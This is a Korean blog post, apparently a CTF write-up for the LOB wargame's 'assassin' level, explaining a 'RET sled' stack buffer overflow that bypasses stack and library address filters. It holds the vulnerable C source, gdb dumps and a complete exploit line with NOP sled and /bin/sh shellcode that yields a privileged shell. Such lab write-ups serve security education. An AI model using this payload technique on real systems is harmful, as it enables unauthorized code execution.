본문 바로가기

CTF_Write_UP/LOB

[LOB] giant

시작

안녕하세요!! :D

이번 문제 풀면서 새로운 기법을 알게 됐습니다 ㅋㅋㅋㅋㅋ

똑똑이 분들이 많아요.. 어떻게 이런 생각을 하는지 대단합니다.

시작해보죠!!

Write UP

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - assassin 
        - no stack, no RTL 
*/ 

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[]) 
{ 
        char buffer[40]; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        if(argv[1][47] == '\xbf') 
        { 
                printf("stack retbayed you!\n"); 
                exit(0); 
        } 

        if(argv[1][47] == '\x40') 
        { 
                printf("library retbayed you, too!!\n"); 
                exit(0); 
        } 

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer); 

        // buffer+sfp hunter 
        memset(buffer, 0, 44); 
}

RTL과 스택 영역을 사용하지 못하게 필터를 걸어놨어요.

버퍼도 마지막에 0으로 초기화하기 때문에 버퍼에 쉘코드를 집어넣을 수도 없습니다.

솔직히 처음 봤을 때 떠올렸던 것은 csu 영역이에요 ㅋㅋㅋㅋㅋ 갓갓 csu로 돌려서 rop해야지!! 했는데

.. csu 부분이 없더라구요 ㅎㅎ..

새롭게 알게 된 기법을 사용하기로 했습니다.

바로 리턴 주소를 RET 명령어 위치로 돌리는 것 인데요!!

RET이 수행될 때 내부적으로 pop eip, jmp eip가 실행되는데

esp 레지스터가 +4씩 되는 점을 이용해서 리턴값 뒤에 쉘코드의 주소를 넣어주고 그 쪽으로 jmp하게 하는 것입니다.

Starting program: /tmp/assassin/./assassin `python -c 'print "A" * 44 + "BBBB" + "CCCC" + "DDDD"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD 

Breakpoint 2, 0x804851d in main () 
(gdb) x/20wx $esp 
0xbffffac0:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffad0:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffae0:     0x00000000      0x00000000      0x00000000      0x42424242 
0xbffffaf0:     0x43434343      0x44444444      0xbffffb00      0x40013868 
0xbffffb00:     0x00000002      0x080483c0      0x00000000      0x080483e1

leave 명령어에 eip가 와 있는 상황인데요.

memset() 함수에 의해 버퍼 + SFP가 0으로 초기화되고, 리턴 주소에 “BBBB”가 들어와 있는 것이 보입니다.

0x804851e in main () 

(gdb) x/20wx $esp 
0xbffffaec:     0x42424242      0x43434343      0x44444444      0xbffffb00 
0xbffffafc:     0x40013868      0x00000002      0x080483c0      0x00000000 
0xbffffb0c:     0x080483e1      0x08048470      0x00000002      0xbffffb34 
0xbffffb1c:     0x08048308      0x0804854c      0x4000ae60      0xbffffb2c 
0xbffffb2c:     0x40013e90      0x00000002      0xbffffc25      0xbffffc3e

ret 명령어까지 왔습니다. 이제 pop eip가 실행되며 eip 레지스터에 0x42424242 값이 들어갈 것이고

jmp eip에 의해 그 쪽으로 뛸 거에요.

만약 0x42424242 부분에 다시 한 번 ret 명령어의 위치가 들어간다면 어떻게 될까요??

esp는 0x43434343 위치로 이동할 것이고, pop eip, jmp eip 명령어에 의해 0x43434343으로 뛰겠죠?

이러한 RET의 성질을 이용하는 겁니다!! RET SLED 라고 부르더라구요.

따라서 우리의 페이로드는 다음과 같습니다!!

BUF + SFP (44) | &RET 명령어의 주소 | 쉘코드의 주소 | NOP + 쉘코드

이렇게 한다면 pop eip에서 쉘코드의 주소가 eip에 들어가게 될 거에요.

[giant@localhost giant]$ ./assassin `python -c 'print "A" * 44 + "\x1e\x85\x04\x08" + "\xb0\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒° 
                                                    ̀ 
bash$ id 
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant) 
bash$ my-pass 
euid = 515 
pushing me away

Exploit!!

마무리

RET의 성질을 이용한 RET SLED 기법으로 익스를 때렸습니다.

이러라고 만든 RET이 아닐텐데 ㅎㅎ.. 대단하네요.

감사합니다 :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] zombie_assassin  (0) 2019.09.09
[LOB] zombie  (0) 2019.08.03
[LOB] bugbear  (0) 2019.08.02
[LOB] darkknight  (0) 2019.08.01
[LOB] golem  (0) 2019.08.01